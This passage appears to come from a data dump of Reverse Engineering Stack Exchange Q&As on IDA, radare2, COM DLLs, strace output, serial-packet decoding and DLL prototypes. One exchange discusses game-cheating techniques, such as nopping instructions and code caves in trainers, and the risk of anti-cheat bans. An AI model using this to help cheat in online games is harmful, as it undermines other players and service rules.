    \n\n

    \"LinkID_in_IDA\"

    \n\n\n\n

    Tip: Check the real file type of MediaCreaTool.exe using the following 7ZIP command and that will be CAB type.

    \n\n
    7z t MediaCreationTool.exe | find /i \"type\"\n
    \n\n\n" }, { "Id": "18030", "CreationDate": "2018-04-18T20:13:38.573", "Body": "

    I've successfully reverse a DLL file which uses a COM interface and found the Class ID (CLSID) and Interface ID (IID). In Visual Studio debugging memory, it shows S_OK with CoCreateInstance() and all the function pointers of that COM interface. I saw this question but that uses IDA to reverse a DLL.

    \n

    I've followed an article which shows finding methods definition using Visual Studio debug mode. I've both CLSID and IID from which I get the interface pointer.

    \n

    So, my question is how can I find the (undocumented) function definitions? Is there any easy general guidelines to follow? It will be easy if someone show an procedure with Visual Studio, reversing with IDA is bit more complex.

    \n
    \n

    Update: According to the answer I reverse the DLL in IDA but the assembly shows the

    \n
    off_180002230   dq offset off_1800023D0 ; DATA XREF: .rdata:off_180002480\u2193o\n                dq offset ILxssUserSession\n                dq offset IUnknown_QueryInterface_Proxy\n                dq offset IUnknown_AddRef_Proxy\n                dq offset IUnknown_Release_Proxy\n                dq offset ObjectStublessClient3\n                dq offset ObjectStublessClient4\n                dq offset ObjectStublessClient5\n                dq offset ObjectStublessClient6\n                dq offset ObjectStublessClient7\n                dq offset ObjectStublessClient8\n                dq offset ObjectStublessClient9\n                dq offset ObjectStublessClient10\n                dq offset ObjectStublessClient11\n                dq offset ObjectStublessClient12\n                dq offset ObjectStublessClient13\n                dq offset ObjectStublessClient14\nunk_1800022B8   db  22h ; "             ; DATA XREF: .rdata:0000000180002DE0\u2193o\n
    \n

    How can I relate those offset to a real function pointer? The current DLL is a proxy stub DLL and the real function is implemented/defined in another DLL. I've also seen this question which shows to follow function pointers.

    \n", "Title": "What are guidelines to find COM functions definition through a proxy DLL?", "Tags": "|debugging|com|", "Answer": "

    Well, in general you follow the code flow from DllGetClassObject and find the code which creates COM classes depending on clsid and iid. Due to COM methods are virtual methods of C++ class, you'll be able to find VTBL for each COM class, and from there determine how many methods it has. Then you reverse each method to understand how many arguments it has and which are the types of arguments.

    \n" }, { "Id": "18033", "CreationDate": "2018-04-19T07:06:40.373", "Body": "

    I have the compiled code with all .pdb, vshost and everything that is generated.\nI am already using DotPeek without too much hassle. Would like to know If I can retrieve the original code with all the pdb and vshost files generated from compilation with the original names.

    \n\n

    I know pdb maps your compiled exe to the original source code you have in visual studio to make debugging available.

    \n\n

    So basically pdb should be a \"map\" to what you wrote in visual studio and the optimized binary you have, that results in a CIL/C# code in DotPeek decompiled source.

    \n\n

    There is a way with those files to retrieve the code in a non-optimized way (or to say differently, like it was in visual studio original source?)

    \n\n#\n\n

    EDIT

    \n\n#\n\n

    Well, it seems it's not possible. Peace :)

    \n", "Title": ".NET: It's possible to recover original source code from compiled .exe when I have all the .vshost, .pdb and compiled files?", "Tags": "|decompilation|.net|pdb|", "Answer": "

    If the program is not obfuscated you can recover something very similar to the source code (even if you don't have a PDB file), I've done it once using reflector (you can use also dnSpy, which is an open source software), but after that you have to fix a lot of things (like the names of anonymous method)

    \n" }, { "Id": "18039", "CreationDate": "2018-04-19T22:24:01.753", "Body": "

    I am learning about how the call stack works by reverse engineering binaries using Radare2 (in a Linux environment). The ISA on the server (a P5 micro-architecture) I am analyzing binaries off of is x86 (Intel syntax).

    \n\n

    Say I want to print a very simple string to the console by compiling a C program named hello.c in to an executable:

    \n\n
    int main()\n{\n    printf(\"Hello world!\");\n\n    return (0);\n}\n
    \n\n

    How does the CPU transfer the data containing the \"Hello world!\" string from the stack space reserved for the hello executable in memory to the console output?

    \n", "Title": "How is data transferred from the process\u2019 memory to the console screen?", "Tags": "|x86|memory|stack|", "Answer": "

    To print to the terminal, a process started by the shell performs file I/O by making a write() system call using the already open stdout file descriptor inherited from the shell (the parent process).

    \n\n
    \n

    For the process that manages this program, how is the data containing the \"Hello world!\" string transferred from the stack in memory to the child process of the shell?

    \n
    \n\n
      \n
    • this question is nonsense because the \"hello world\" process is the child process. The parent process is the shell, since the shell was the process that started the \"hello world\" process. When printing to the terminal (STDOUT), the child process is sending data to the parent process (the shell).
      • \n
    • take a look at the binary and look at the disassembly of the main() function. The \"hello world\" string is hardcoded in the .rodata section of the binary. It is not written to the stack at any point. In main(), a pointer to its location is written to the stack as an argument to the printf function.
      • \n
    • the runtime stack of a process is a space in virtual memory whose use is managed by the compiler. The stack is written to and read from by the CPU, which executes the instructions generated by the compiler. The stack does not perform any sort of action or computation; this is the purpose of the CPU. You should read the Q&A here: How are variables stored in and retrieved from the program stack?. Note that if a programming language does not permit recursion, a stack is not even required.
      • \n
    • \n

      A shell is a special-purpose program designed to read commands typed by a user and execute appropriate programs in response to those commands. Such a program is sometimes known as a command interpreter.1

      \n
      \n\n

      When you type $ ./hello, the shell will read this command and proceed to call fork and exec to start a new process (I strongly urge you to read Differences between fork and exec).

      • \n

    • Since each process occupies its own space in virtual memory and is as a result isolated from every other process, the shell and the new process started by the shell must use services provided by the kernel in order to share data. The Linux I/O model provides one way for processes to communicate with each other using file descriptors:

      \n\n
      \n

      All system calls for performing I/O refer to open files using a file descriptor, a (usually small) nonnegative integer. File descriptors are used to refer to all types of open files, including pipes, FIFOs, sockets, terminals, devices, and regular files. Each process has its own set of file descriptors.

      \n \n

      By convention, most programs expect to be able to use the three standard file descriptors listed in Table 4-1. These three descriptors are opened on the program\u2019s behalf by the shell, before the program is started. Or, more precisely, the program inherits copies of the shell\u2019s file descriptors, and the shell normally operates with these three file descriptors always open. (In an interactive shell, these three file\n descriptors normally refer to the terminal under which the shell is running.) If I/O redirections are specified on a command line, then the shell ensures that the file descriptors are suitably modified before starting the program.2

      \n
      • \n
    \n\n

    \"Table

    \n\n

    This means that if one wishes to print to the terminal, one must make a write() system call using the already open stdout file descriptor.

    \n\n

    Here is a simple example program to make things more clear:

    \n\n
    #include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n\nint main(void) {\n        pid_t current_PID = getpid();\n        pid_t parent_PID = getppid();\n\n        printf(\"Current process ID: %d\\n\", current_PID);\n        printf(\"Parent process ID: %d\\n\", parent_PID);\n\n        return 0;\n}\n
    \n\n

    We can retrieve the process ID of the shell via the echo $$ command (bash is assumed to be the shell here).

    \n\n
    $ echo $$\n29760\n
    \n\n

    Then we compile and run the example program (which I simply called pid):

    \n\n
    $ ./pid \nCurrent process ID: 9071\nParent process ID: 29760\n
    \n\n

    The parent process ID is that of the shell which started the pid process.

    \n\n

    To see what is happening at the CPU level, here is disassembly of main() with comments explaining the relevant operations:

    \n\n
    <main>:\npush   %ebp\nmov    %esp,%ebp\nand    $0xfffffff0,%esp\nsub    $0x20,%esp\ncall   8048340 <getpid@plt>  # libc wrapper around getpid() system call\nmov    %eax,0x18(%esp)       # write return value (PID) in register to stack\ncall   8048370 <getppid@plt> # libc wrapper around getppid() system call\nmov    %eax,0x1c(%esp)       # write return value (PPID) in register to stack\nmov    0x18(%esp),%eax       # read from stack, write to register\nmov    %eax,0x4(%esp)        # write register value to stack as 2nd arg to printf (PID)\nmovl   $0x8048560,(%esp)     # read format string from memory, write to stack as 1st arg to printf\ncall   8048330 <printf@plt>  # libc wrapper around write() system call\nmov    0x1c(%esp),%eax       # read PPID saved on stack, write to register\nmov    %eax,0x4(%esp)        # write PPID in register to stack as 2nd arg to printf\nmovl   $0x8048578,(%esp)     # read format string from memory, write to stack as 1st arg to printf\ncall   8048330 <printf@plt>  # libc wrapper around write() system call\nmov    $0x0,%eax\nleave  \nret    \n
    \n\n

    Here is the strace output for the example program:

    \n\n
    $ strace ./pid\nexecve(\"./pid\", [\"./pid\"], [/* 53 vars */]) = 0\n[ Process PID=10017 runs in 32 bit mode. ]\nbrk(0)                                  = 0x943d000\naccess(\"/etc/ld.so.nohwcap\", F_OK)      = -1 ENOENT (No such file or directory)\nmmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7793000\naccess(\"/etc/ld.so.preload\", R_OK)      = -1 ENOENT (No such file or directory)\nopen(\"/etc/ld.so.cache\", O_RDONLY|O_CLOEXEC) = 3\nfstat64(3, {st_mode=S_IFREG|0644, st_size=155012, ...}) = 0\nmmap2(NULL, 155012, PROT_READ, MAP_PRIVATE, 3, 0) = 0xfffffffff776d000\nclose(3)                                = 0\naccess(\"/etc/ld.so.nohwcap\", F_OK)      = -1 ENOENT (No such file or directory)\nopen(\"/lib/i386-linux-gnu/libc.so.6\", O_RDONLY|O_CLOEXEC) = 3\nread(3, \"\\177ELF\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0\\3\\0\\1\\0\\0\\0P\\234\\1\\0004\\0\\0\\0\"..., 512) = 512\nfstat64(3, {st_mode=S_IFREG|0755, st_size=1763068, ...}) = 0\nmmap2(NULL, 1772156, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xfffffffff75bc000\nmmap2(0xf7767000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1aa000) = 0xfffffffff7767000\nmmap2(0xf776a000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xfffffffff776a000\nclose(3)                                = 0\nmmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff75bb000\nset_thread_area(0xffc17c00)             = 0\nmprotect(0xf7767000, 8192, PROT_READ)   = 0\nmprotect(0x8049000, 4096, PROT_READ)    = 0\nmprotect(0xf77b8000, 4096, PROT_READ)   = 0\nmunmap(0xf776d000, 155012)              = 0\ngetpid()                                = 10017\ngetppid()                               = 10014\nfstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 13), ...}) = 0\nmmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7792000\nwrite(1, \"Current process ID: 10017\\n\", 26Current process ID: 10017\n) = 26\nwrite(1, \"Parent process ID: 10014\\n\", 25Parent process ID: 10014\n) = 25\nexit_group(0)                           = ?\n+++ exited with 0 +++\n
    \n\n

    Note the execve() system call on the first line and the write() system calls at the bottom.

    \n\n
    \n\n
      \n

    1. The Linux Programming Interface, 2.2 The Shell, pg. 24

      2. \n

    2. The Linux Programming Interface, 4.1 Overview, pg. 69

      3. \n
    \n" }, { "Id": "18041", "CreationDate": "2018-04-20T05:25:12.430", "Body": "

    In all versions of IDA, I can't seem to be able to search for unicode strings. When reversing programs, I constantly see unicode strings that could have really helped if I could see them in the strings window, but I can't. Anyone have a solution?

    \n", "Title": "How do you search for unicode strings?", "Tags": "|ida|", "Answer": "

    Enter the \"strings window\" by either press shift+F12 or go to View > Open Subviews > Strings in the toolbar.

    \n\n

    Then, in the strings window, press Right Click and choose \"Setup...\". Check \"Unicode\" and press \"OK\".

    \n\n

    \"enter

    \n" }, { "Id": "18045", "CreationDate": "2018-04-20T16:15:57.903", "Body": "

    How can I display any standard write in visual mode.

    \n\n

    For example if I run dc command it runs the program normally and displays all the text normally. But if I enter visual mode with V< enter > and use S to run through the program it displays the output maybe a 1/10th of a second:\n\"What

    \n\n

    Can I have it display it for longer, or enter a command and see what has been printed to stdout so far?

    \n", "Title": "Radare2- How to see stdout in Visual Mode", "Tags": "|radare2|", "Answer": "

    I'm afraid there's no straight way to do so. You'll need to use rarun2 or radare's dd command.

    \n\n

    I prefer the rarun2 way, it is more flexible and simple.

    \n\n

    From man rarun2 output:

    \n\n
      Debugging a program redirecting io to another terminal\n\n   ## open a new terminal and type 'tty' to get\n   $ tty ; clear ; sleep 999999\n   /dev/ttyS010\n\n   ## in another terminal run r2\n   $ r2 -e dbg.profile=foo.rr2 -d ls\n\n   ## or you can use -R option\n   $ r2 -R foo.rr2 -d ls\n   $ cat foo.rr2\n   #!/usr/bin/rarun2\n   stdio=/dev/ttys010\n
    \n\n

    For a step-by-step guide and more detailed answer, check my answer to a similar question here.

    \n\n

    dd can be used to change file descriptors at runtime:

    \n\n
    [0x00000000]> dd?\n|Usage: dd Descriptors commands\n| dd                   List file descriptors\n| dd <file>            Open and map that file into the UI\n| dd-<fd>              Close stdout fd\n| dd*                  List file descriptors (in radare commands)\n| dds <fd> <off>       Seek given fd)\n| ddd <fd1> <fd2>      Dup2 from fd1 to fd2\n| ddr <fd> <size>      Read N bytes from fd\n| ddw <fd> <hexpairs>  Write N bytes to fd\n
    \n" }, { "Id": "18046", "CreationDate": "2018-04-20T16:42:18.853", "Body": "

    Why do most hackers/modders use pointers instead of editing the static region of the game executable? For example I downloaded so many trainers and I can see most of them are using pointers. I prefer to set a break point on the value and track the caller function, this works 100% of the time where I only have to nop the instruction or alter it or at worst make my subroutine and code cave it.

    \n\n

    Is there a downside with my method that i'm not aware of?

    \n", "Title": "Game cheating: Pointers vs Static memory editing", "Tags": "|pointer|", "Answer": "

    Some programs don't like it when you change their code, some protectors check for memory modifications.\nOnce I used a hack that patches directly the code and got instantly banned from the server.

    \n" }, { "Id": "18050", "CreationDate": "2018-04-20T20:01:20.963", "Body": "

    I have an assignment at work, to get information from Jenbacher generator and show values in new SCADA system. It has a B&R CP260 PLC with RS232 port and RS232 to RS485 converter. Currently it\u2019s connected to old Winows XP PC via COM port. From hardware settings on PC I can see that it uses 9600 baud 8N1. It sends data packets every 5 seconds (without request). There is about 30 different variables that are shown in the old SCADA system (a lot of BOOLs and about 8 analog values. The whole system is 15 years old. I used RealTerm to read 10 packages in HEX and I got some data.

    \n\n

    I wrote down active power from screen with every packet received and I have some variables that are not changing so often (didn\u2019t change while reading packets) :

    \n\n

    Operating hours \u2013 81521

    \n\n

    Total active power \u2013 80578,3

    \n\n

    Total reactive power \u2013 1053,5

    \n\n

    Active power from screen whit each packet received:

    \n\n

    1) 852 kW

    \n\n

    2) 853 kW

    \n\n

    3) 843 kW

    \n\n

    4) 840 kW

    \n\n

    5) 851 kW

    \n\n

    6) 856 kW

    \n\n

    7) 848 kW

    \n\n

    8) 841 kW

    \n\n

    9) 848 kW

    \n\n

    10) 852 kW

    \n\n

    Active power is changing on screen with every packet received, so it must be sending power updates with every packet, but I can\u2019t find it in the packet. I found Op hours, total active, reactive power in some packets, but it is not consistent.

    \n\n

    Update:

    \n\n

    Discovered values in bold :

    \n\n

    13E71 - OP hours

    \n\n

    C4B97 - Tot. active power

    \n\n

    2927 - Tot. reactive power

    \n\n

    Data:

    \n\n

    \n1)\nFF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208\n10408000000001040820400000000104082040000000010408204000000001040820400000000104\n08204000000001040820400000000104082040000000010408204000000001040820400000000104\n08204000000001040820400000000104082040000000010408204040AA03490308DB405360010428\n3052000004420102081040BF2101F404F0056B0A10406024023F09C3265891608D022D09534D5869\n6021024A024E09034D5869601B0248091B4DD89A602460A3024E016268D239800029270D8A0D5060\n16020850630C20400000000114CC1440800000000114AC2040000000010408204000000A7100CC00\nC80154018D055B2A58D440D6FF8C0391234CAB2022C1F600860024012A03A105B60D2040000006A1\n01040820400000000104082040000000010408204000000001040820400000000104082040000000\n01040820400000000104082040000000010408204000000001040820400000000104082040000000\n0104082040000000010408204000000001040820400000000104082040000000ED
    \n2)
    \nFF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208\n10408000000001040820400000000104082040000000010408204000000001F40104082040000000\n01040820400000000104082040000000010408204000000001040820400000000104082040000000\n010408204000000001040820400000000104082040000000FD0134A8A540A900D003BD0AEC010428\n3052000004420102081040BF2201F404D1056B0A104060D202400239097324183360170248094B4D\n984860D2024E09FB24589A602360D202430250093B499834602700182DBA0E1040CA270341022898\n16020850630C20400000000114CC14408000000001142C3040000000010408204000000A75016400\nCA00CA018D055B2A58D440D5FF880DFA899859811304DB00430091012A03E8014B0000000003E800\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000000000000000FB
    \n3)
    \nFF00000000000000000000000000000000000000000080010000000001148CB53157000000010408\n20400000000104082040000000010408204000000001040820400000FE0104082040000000010408\n20400000000104082040000000010408204000000001040820400000000104082040000000010408\n204000000001040820400000000104082040000000FD013468D2406A006703BD0AEC010428305200\n0004420102081040BF2001F404CD018E010248586960900239097324582360170247094B4D984860\nD2024E09FB24589A602360D20243024F024709334D981240834B970000A57634503580C03E710102\n28EC0C20400000000114AC1440800000000104880104082040000000010408A020F700E600CA00CA\n018E05632E98D440D2FF990DEA8D98AC818704BF008401042A3065407401320000010468205D0000\n00010408204000000001040820400000000104082040000000010408204000000001040820400000\n00010408204000000001040820400000000104082040000000010408204000000001040820400000\n00010408204000000001040820400000000104082040000000010408204087
    \n4)
    \nFF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208\n10408000000001040820400000000104082040000000010408204000000001040820400000000104\n08204000000001040820400000000104082040000000010408204000000001040820400000000104\n0820400000000104082040000000010408204000000001040820404024034903E8DB405B60010428\n3052000004420102081040BF2101F404F3056B0A104060D2024209CB24D899608D022E092B4D5869\n6021024A024E09FB24589A608D02490243024E093B499834602700182DBA0E1040CA270341022898\n16020850630C20400000000114AC1440800000000104A8000001040820400000000154A80B203E80\nF900E5018D055B2A58D44096FF8D0D3A234C5E208382D3008401E42A306540740143000001046820\n5D000000010408204000000001040820400000000104082040000000010408204000000001040820\n40000000010408204000000001040820400000000104082040000000010408204000000001040820\n40000000010408204000000001040820400000000104083040000000000000007DFF
    \n5)\nFF00000000000000000000000000000000000000000080010000000000015415B800000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n00000000010408204000034D1A480DA0B640B701FF0102281852800002420102081040BF2201F404\nEC018D010248586960688139098324982360170244094B4D984860A5024E09FB24589A608D024A02\n43024D093B49D824602700182DBA0E1040CA27034102289816020850630C204000000001148C1C40\n8000000001140C1840800000000104082040000575016400CA00CA018D055B2A58D440D7FF8903A1\n23ECAB206482E8011A0D1052C02A03A10596020810408003E8010208104080000000010408204000\n00000104082040000000010408204000000001040820400000000104082040000000010408204000\n00000104082040000000010408204000000001040820400000000104082040000000010408204000\n000001040820400000000104082040000090
    \n6)
    \nFF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208\n10408000000001040820400000000104082040000000010408204000000001F40104082040000000\n01040820400000000104082040000000010408204000000001040820400000000104082040000000\n010408204000000001040820400000000104082040000000FD0134086D206A006803B90BCC000005\n060A204081420102081040BF2201F404D4056B0A104060D202430238023009B32498916068814902\n4209534DD89A6024589A608D024A0243024C0247093B49981240834B970000A57634102580C03E71\n010228EC0C204000000001148C1C408000000001140C1840800000000104082040000575016400CA\n00CA018D055B2A58D440DA2135E835B0579020C11640480091012A03A105D60D2040000006A10104\n08204000000001040820400000000104082040000000010408204000000001040820400000000104\n08204000000001040820400000000104082040000000010408204000000001040820400000000104\n08204000000001040820400000000104082040000000010408204000000009FD
    \n7)
    \nFF01020810408000000001040820400000000104082040000080010000010608F060FF15B8000000\n000000000000000000000000000000000000000000000000000000FF000000000000000000000000\n00000000000000000000000000000000000000000000000000000000000000000000000000000000\n0000000000000000000000FF00035003520067036D01FF000001900000024200000000FC2201F404\nCC018E0000024902430238022F0235022E024202490241024A024F023F0249023502490242024B02\n470247024E000C4B9700002927035000023E71010228EC0C20400000000114AC1440800000000114\n8C3040000000010408204000000A75016400CA00CA018E05632E98D440492937881AB0F0810A04D1\n0112091052C02A03A105B6061020800003A101040820400000000104082040000000010408204000\n00000104082040000000010408204000000001040820400000000104082040000000010408204000\n00000104082040000000010408204000000001040820400000000104082040000000010408204000\n000001040820400000006DFF
    \n8)
    \nFF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208\n10408000000001040820400000000104082040000000010408204000000001040820400000000104\n08204000000001040820400000000104082040000000010408204000000001040820400000000104\n08204000000001040820400000000104082040000000010408204040D2035200D003B5130C104080\n0190010248984880000000F181168C3F30F8C08D000009964D30488138022E09AB24989160488149\n024109534DD89A6024589A602360D2024209534DD8246024602700182DBA0E1040CA270341022898\n16020850630C20400000000114CC1440800000000104A8000001040820400000000154880F203E80\nF900E5018E055B2A58D44094FF950DDA8D182BC1FF04C60112099054606540740139010208104040\n74000001040820400000000104082040000000010408204000000001040820400000000104082040\n00000001040820400000000104082040000000010408204000000001040820400000000104082040\n0000000104082040000000010408204000000001040820400000000104082040003B
    \n9)
    \nFF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208\n10408000000001040820400000000104082040000000010408204000000001040820400000000104\n08204000000001040820400000000104082040000000010408204000000001040830408000000000\n0000000000000000000000000000000000000000000000035003520067036D020000000190000002\n4200000000FC2101F404F3018D0000024902420239022E0234022D024102490241024A024F023F02\n490236024A0241024902460247024E000C4B9700002927034F00013E710000191F00000000000001\n8D00000000000000FC0000000000000000000005DB00E600E500E5018D018B018D035BFF8D036704\nC3050D04D500430090012A03E8015C0000000003A101040820400000000104082040000000010408\n20400000000104082040000000010408204000000001040820400000000104082040000000010408\n20400000000104082040000000010408204000000001040820400000000104082040000000010408\n2040000000010408204000000091FF
    \n10)
    \nFF01020810408000000001040820400000000104082040000000010000010408A060AA15B8010208\n10408000000001040820400000000104082040000000010408204000000001F40104082040000000\n01040820400000000104082040000000010408204000000001040820400000000104082040000000\n010408204000000001040820400000000104082040000000FD013488B540A900CE03B50BEC010428\n3052000004420102081040BF2101F404E1056B0A104060D2024109CB24589160CD022D090B495869\n6090024A024F023F094B4D982360A50241094B4D98346024602700182DBA0E1040CA270341022898\n16020850630C204000000001148C1C40800000000114EC3040000000010408204000000A7D00CC00\nCA00CA018D055B2A58D440A531374889305A811C04E5008401142E3065407401610000010468205D\n00000001040820400000000104082040000000010408204000000001040820400000000104082040\n00000001040820400000000104082040000000010408204000000001040820400000000104082040\n000000010408204000000001040820400000000104082040000000010408204069  
    \n\n

    \n", "Title": "Decoding serial data package", "Tags": "|hex|serial-communication|protocol|", "Answer": "

    So I got it working, turns out I used wrong parity, din't know you can override davice manager port settings from VB. Thanks.

    \n" }, { "Id": "18053", "CreationDate": "2018-04-21T02:54:08.263", "Body": "

    in gdb to list active breakpoints is info b how to do the same in radare2? is there any similar command in radare2 or something else?

    \n", "Title": "How to list breakpoints in radare2?", "Tags": "|radare2|breakpoint|", "Answer": "

    db is used both to set a breakpoint and to list all breakpoints. As you can be see in the command's help output:

    \n\n
    [0x00007f60]> db?\n|Usage: db  # Breakpoints commands\n| db                       List breakpoints\n| db sym.main              Add breakpoint into sym.main\n| db <addr>                Add breakpoint\n| db -<addr>               Remove breakpoint\n| db.                      Show breakpoint info in current offset\n| dbj                      List breakpoints in JSON format\n| dbc <addr> <cmd>         Run command when breakpoint is hit\n| dbC <addr> <cmd>         Set breakpoint condition on command\n| dbd <addr>               Disable breakpoint\n...\n... \n
    \n\n

    So simply do something like this:

    \n\n
    $ r2 -d /bin/cat\n\nProcess with PID 261 started...\n= attach 261 261\nbin.baddr 0x00400000\nUsing 0x400000\nasm.bits 64\n -- Hang in there, Baby!\n\n[0x7f5399600c30]> db entry0\n[0x7f5399600c30]> db main\n[0x7f5399600c30]> db\n0x004025b0 - 0x004025b1 1 --x sw break enabled cmd=\"\" cond=\"\" name=\"entry0\" module=\"/bin/cat\"\n0x004019e0 - 0x004019e1 1 --x sw break enabled cmd=\"\" cond=\"\" name=\"main\" module=\"/bin/cat\"\n[0x7f5399600c30]>\n
    \n" }, { "Id": "18063", "CreationDate": "2018-04-21T23:26:17.140", "Body": "

    I'm using ida 6.8 SDK and i have an problem with saving changed variables names,

    \n\n

    I used many functions like set_reg_name(C++), setMemberName(in python), \nthey change the name but not permanently, after pressing refresh , or reopening ida, the variables have old names.

    \n\n

    What function is used when u press \"N\" Rename Iyvar, and were to get info on correct way of saving changed variable names ?

    \n", "Title": "IDA SDK - Rename Variable permanently", "Tags": "|ida|idapro-sdk|", "Answer": "

    It's better to do this directly, without using the user-interface class vdui_t. Here's a small function you can call to set the name of a local variable, assuming you already have the lvar_t object you want to rename:

    \n
    def SetLvarName(func_ea,lvar,name):\n    lsi = ida_hexrays.lvar_saved_info_t()\n    lsi.ll = lvar\n    lsi.name = name\n    ida_hexrays.modify_user_lvar_info(func_ea, ida_hexrays.MLI_NAME, lsi)\n
    \n

    Here's a little harness I wrote to ensure it works. It decompiles some function in my database, finds the lvar_t named "v35", and renames it to "vNewName".

    \n
    def GetCfunc(ea):\n    f = idaapi.get_func(ea)\n    if f is None:\n        return None\n\n    # Decompile the function.\n    cfunc = None\n    try:\n        cfunc = idaapi.decompile(f)\n    finally:\n        return cfunc\n\ncfunc = GetCfunc(0x61FE5DDE)\nif cfunc:\n    mba = cfunc.mba\n    for idx in xrange(mba.vars.size()):\n        var = mba.vars[idx]\n        if var.name == "v35":\n            SetLvarName(cfunc.entry_ea,var,"vNewName")\n            break\n
    \n" }, { "Id": "18070", "CreationDate": "2018-04-23T20:04:43.927", "Body": "

    I have an exe file and a dll file. This exe file uses the dll to decode input file. This exe file is gui based and does not support command line execution.

    \n\n

    So my requirement is to create a program which loads this dll and use the funciton to decode an input file so that I can use this program in some scripts.

    \n\n

    The exe expects two inputs. Source file name and destination file name.

    \n\n

    \"exe

    \n\n

    When I disassembled the exe, only 1 parameter is being passed to the dll function call, which is the source file name. I couldn't find how the destination file name is passed to the function.

    \n\n

    \"dll

    \n\n

    Disassembly of dll function shows 2 exported functions.

    \n\n

    \"dll

    \n\n

    assembly code for dll function from IDA is as follows

    \n\n

    \"convert2\"

    \n\n

    While calling the dll function from exe, the stack is as follows

    \n\n

    \"stack

    \n\n

    From this I understood that the a pointer to the source file name is passed as the argument. The pointer points to the following memory location.\n\"pointer

    \n\n

    \"pointer

    \n\n

    From this much information, is it possible to identify the function prototype of the dll function.

    \n", "Title": "identifying function prototype from dll", "Tags": "|ida|disassembly|windows|dll|x64dbg|", "Answer": "

    It\u2019s hard to say for sure without full binary or all called functions but going by the debugger screens it looks like the argument is pointer to a structure with layout similar to the following:

    \n\n
    struct PARAMS {\n  char *inputfname;\n  int flag1;\n  char *outfname;\n  int flag2;\n};\n
    \n\n

    There maybe other fields not obvious from the posted info, but you could try to start with this.

    \n" }, { "Id": "18074", "CreationDate": "2018-04-24T04:55:21.960", "Body": "

    I have been learning about the x86 assembly language by analyzing a binary using radare2 that is stored on a Intel 80386 machine. When I have been analyzing functions on the binary, I noticed that \"XREF\" is repeatedly called from various addresses in the file:

    \n\n

    \"enter

    \n\n

    What does it mean? I've looked up \"xref\" all over the web and have been unable to find any definitive answer.

    \n", "Title": "What does XREF mean?", "Tags": "|assembly|x86|radare2|call|intel|", "Answer": "

    Cross References (or simply XREFs) is a feature of disassemblers to show you where certain functions and objects were called from or which functions and objects are used by a specific function. We can simplify it by relate to it as XREF-To and XREF-From. The referenced can be either Data or Code.

    \n\n

    XREFs are a valuable resource when we want to figure out exactly where a function was called from or what functions the current function calls. This, as you understand, can be quite useful, so we don\u2019t have to iterate the stack for frame pointers to look for the function that called the current function or alternatively searching by hand for a CALLs to specific addresses.

    \n\n

    As can be seen in your screenshot, radare2 mentions that a specific address is referenced from (\"XREF from\") several different locations (addresses) in the code. Using radare's ax? subcommands you can easily view XREFS. For example, axt 0xfa1afe1 will show you Xrefs to 0xfa1afe1 and axf 0xfa1afe1 will show you Xrefs from 0xfa1afe1.

    \n" }, { "Id": "18085", "CreationDate": "2018-04-25T00:00:47.430", "Body": "

    This might have a simple solution but I can't find it anywhere.

    \n\n
    $> ./be1 11 AAAAA\n
    \n\n

    With gdb, finding argv[] and argc is simple:

    \n\n
    (gdb) print argv[0]@argc\n$7 = {0xbffff872 \"be1\", 0xbffff89a \"11\", 0xbffff89d \"AAAAA\"}\n
    \n\n

    But, how can we do this with radare2 ?

    \n", "Title": "Radare2 Find command line arguments and location in stack", "Tags": "|binary-analysis|radare2|", "Answer": "

    the info command holds all the args passed to radare2 and you can use the internal grep too to find it

    \n\n
    :\\>radare2 -Q -c \"i~ref\" -d cmdlnargs.exe firstarg secarg thirdarg\nSpawned new process with pid 6032, tid = 3196\nr_sys_pid_to_path: Cannot get module filename.= attach 6032 3196\nbin.baddr 0x01330000\nUsing 0x1330000\nSpawned new process with pid 872, tid = 2512\nr_sys_pid_to_path: Cannot get module filename.asm.bits 32\nreferer  dbg://cmdlnargs.exe firstarg secarg thirdarg\n
    \n\n

    the same command performed inside radare instead of shell

    \n\n
    :\\>radare2 -d cmdlnargs.exe firstarg secarg thirdarg\nSpawned new process with pid 5356, tid = 2704\nr_sys_pid_to_path: Cannot get module filename.= attach 5356 2704\nbin.baddr 0x01330000\nUsing 0x1330000\nSpawned new process with pid 5296, tid = 6036\nr_sys_pid_to_path: Cannot get module filename.asm.bits 32\n -- Are you still there?\n[0x779d70d8]> i~ref\nreferer  dbg://cmdlnargs.exe firstarg secarg thirdarg\n[0x779d70d8]> q\nDo you want to quit? (Y/n) y\nDo you want to kill the process? (Y/n) y\n\n:\\>\n
    \n" }, { "Id": "18100", "CreationDate": "2018-04-25T16:37:30.047", "Body": "

    I've just started to dip into Assembly for CTF reversing challenges, and am having a great time.

    \n\n

    A loop structure in the current challenge I'm working on has me stumped, however - hoping someone can help with a few basic Assembly questions - or point me to good resources.

    \n\n

    I ran the binary provided for the challenge through Binary Ninja and identified the key function - tracing the logic within a loop is giving me problems.

    \n\n

    For the program to return the flag, we need this check function - which looks at a user-entered string - to return 1. For the check function to return a 1, we need this loop to set EAX to 0x1.

    \n\n

    The loop starts off fairly simply:

    \n\n
